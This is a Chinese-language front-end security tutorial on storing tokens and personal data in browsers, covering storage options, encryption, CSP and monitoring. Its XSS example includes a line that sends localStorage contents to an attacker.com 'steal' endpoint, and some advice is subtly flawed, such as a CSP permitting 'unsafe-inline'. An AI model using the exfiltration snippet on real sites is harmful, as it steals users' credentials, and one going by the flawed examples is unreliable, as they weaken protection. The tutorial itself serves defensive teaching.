敏感信息在前端的存储问题
敏感信息在前端的存储问题
前端开发中,敏感信息的存储一直是个棘手问题。浏览器环境开放且易受攻击,不当的存储方式可能导致数据泄露、XSS攻击或CSRF攻击等安全风险。
敏感信息的定义与分类
敏感信息通常包括但不限于以下类型:
- 用户凭证:登录令牌(Token)、会话ID、OAuth令牌
- 个人身份信息:身份证号、手机号、银行卡信息
- 业务敏感数据:未加密的API密钥、内部系统地址
- 权限相关:用户角色、访问控制列表(ACL)
// 错误的敏感信息存储示例
const user = {
id: 123,
name: "张三",
token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
creditCard: "622588******1234"
};
localStorage.setItem("user", JSON.stringify(user));
常见存储方式及其风险
1. localStorage/sessionStorage
特点:
- 同源策略限制
- 持久化存储(localStorage)或会话级存储(sessionStorage)
- 存储容量约5MB
风险:
- XSS攻击可直接读取全部内容
- 无自动过期机制
- 数据明文存储
// XSS攻击示例
const stolenData = localStorage.getItem("user");
fetch("https://attacker.com/steal", {
method: "POST",
body: stolenData
});
2. Cookie
特点:
- 可设置HttpOnly、Secure、SameSite等属性
- 有大小限制(约4KB)
- 自动随请求发送
风险:
- 未设置HttpOnly时可通过JS读取
- CSRF攻击风险
- 子域名共享问题
// 安全Cookie设置示例(服务端)
// Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=3600
3. IndexedDB
特点:
- 异步键值存储
- 支持事务
- 存储容量大(通常50MB+)
风险:
- 仍受XSS威胁
- 复杂查询可能暴露敏感数据
- 需要手动加密
安全存储实践方案
1. 最小化存储原则
只存储必要信息,且尽可能缩短有效期:
// 只存储必要字段
const safeUserData = {
id: 123,
name: "张三",
// 不存储完整token
auth: {
expires: 1630000000,
// 只存储token片段
hint: "eyJ...1234"
}
};
2. 加密存储
使用Web Crypto API进行客户端加密:
async function encryptData(data, password) {
const enc = new TextEncoder();
const keyMaterial = await window.crypto.subtle.importKey(
"raw",
enc.encode(password),
{ name: "PBKDF2" },
false,
["deriveKey"]
);
const salt = window.crypto.getRandomValues(new Uint8Array(16));
const key = await window.crypto.subtle.deriveKey(
{
name: "PBKDF2",
salt,
iterations: 100000,
hash: "SHA-256"
},
keyMaterial,
{ name: "AES-GCM", length: 256 },
false,
["encrypt", "decrypt"]
);
const iv = window.crypto.getRandomValues(new Uint8Array(12));
const encrypted = await window.crypto.subtle.encrypt(
{ name: "AES-GCM", iv },
key,
enc.encode(JSON.stringify(data))
);
return {
salt: Array.from(salt),
iv: Array.from(iv),
data: Array.from(new Uint8Array(encrypted))
};
}
3. 安全令牌设计
采用短期令牌+刷新令牌机制:
// 令牌结构示例
{
"jti": "a1b2c3", // 唯一标识
"sub": "user123", // 用户ID
"exp": 1629993600, // 短期过期(1小时)
"scope": "read:profile", // 最小权限
"iss": "your-api" // 签发者
}
防御XSS攻击的额外措施
- CSP策略:
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'unsafe-inline'">
- 输入过滤与输出编码:
function sanitize(input) {
const div = document.createElement("div");
div.textContent = input;
return div.innerHTML;
}
- 现代框架的防护:
// React会自动转义
const userInput = "<script>alert('xss')</script>";
return <div>{userInput}</div>;
敏感数据的内存管理
即使不持久化存储,内存中的敏感数据也需要保护:
// 使用WeakMap减少暴露
const sensitiveData = new WeakMap();
class UserSession {
constructor(token) {
sensitiveData.set(this, { token });
}
getToken() {
const data = sensitiveData.get(this);
return data ? data.token : null;
}
clear() {
sensitiveData.delete(this);
// 覆盖内存引用
this._temp = Array(1000).fill("\x00");
}
}
浏览器扩展的风险考量
浏览器扩展可以访问页面DOM和存储:
// 扩展内容脚本可能窃取数据
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
if (request.action === "getStorage") {
sendResponse(localStorage.getItem(request.key));
}
});
防护措施:
- 避免在扩展页面处理敏感数据
- 使用独立的存储分区
- 实现权限最小化原则
移动端混合应用的特别注意事项
混合应用(如Cordova)需要额外注意:
- 插件安全:
<!-- config.xml 应限制权限 -->
<plugin name="cordova-plugin-file" spec="^6.0.0" />
<preference name="AndroidInsecureFileModeEnabled" value="false" />
- WebView加固:
// Android WebView设置
webView.getSettings().setAllowFileAccess(false);
webView.getSettings().setJavaScriptEnabled(false);
合规性要求
根据GDPR、CCPA等法规要求:
- 数据存储前需获得用户明确同意
- 提供数据清除接口
- 记录数据处理日志
// 用户同意管理
class ConsentManager {
constructor() {
this.consents = {
storage: false,
analytics: false
};
}
grantConsent(type) {
this.consents[type] = true;
// 写入只读的DOM属性
document.documentElement.dataset[`consent-${type}`] = "granted";
}
}
监控与应急响应
建立存储安全监控机制:
// 存储访问监控
const originalSetItem = localStorage.setItem;
localStorage.setItem = function(key, value) {
if (key.includes("token") || key.includes("auth")) {
logSecurityEvent("SensitiveStorageAccess", { key });
}
return originalSetItem.apply(this, arguments);
};
function logSecurityEvent(type, metadata) {
navigator.sendBeacon("/security-log", {
type,
metadata,
timestamp: Date.now()
});
}
开发环境与生产环境的差异处理
禁止在开发环境使用真实敏感数据:
// webpack环境变量注入
plugins: [
new webpack.DefinePlugin({
__SECURE_STORAGE__: JSON.stringify(
process.env.NODE_ENV === "production"
? "window._secureStorage"
: "window._mockStorage"
)
})
]
新兴技术的应用前景
- WebAssembly加密:
// 使用C++实现加密(编译为wasm)
EMSCRIPTEN_KEEPALIVE
void encrypt_data(char* input, int length) {
// 加密算法实现...
}
- Trusted Types API:
// 启用Trusted Types
if (window.trustedTypes) {
const policy = trustedTypes.createPolicy("storagePolicy", {
createHTML: input => sanitize(input)
});
}
- Web Locks API防止竞态条件:
navigator.locks.request("auth-token", async lock => {
const token = await getFreshToken();
// 安全更新令牌
});
实际案例分析
某电商平台Token泄露事件:
错误做法:
// 将完整JWT存储在localStorage
localStorage.setItem("auth", "eyJhbGciOiJIUzI1NiIs...");
// 页面JS直接读取使用
const token = localStorage.getItem("auth");
修复方案:
- 改用HttpOnly Cookie存储
- 实现双Token机制(accessToken + refreshToken)
- 添加指纹绑定:
// 生成浏览器指纹
const fpPromise = import("https://openfpcdn.io/fingerprintjs/v3")
.then(FingerprintJS => FingerprintJS.load());
fpPromise.then(fp => fp.get())
.then(result => {
// 将指纹哈希与令牌关联
storeEncrypted("fp_hash", result.visitorId);
});
本站部分内容来自互联网,一切版权均归源网站或源作者所有。
如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn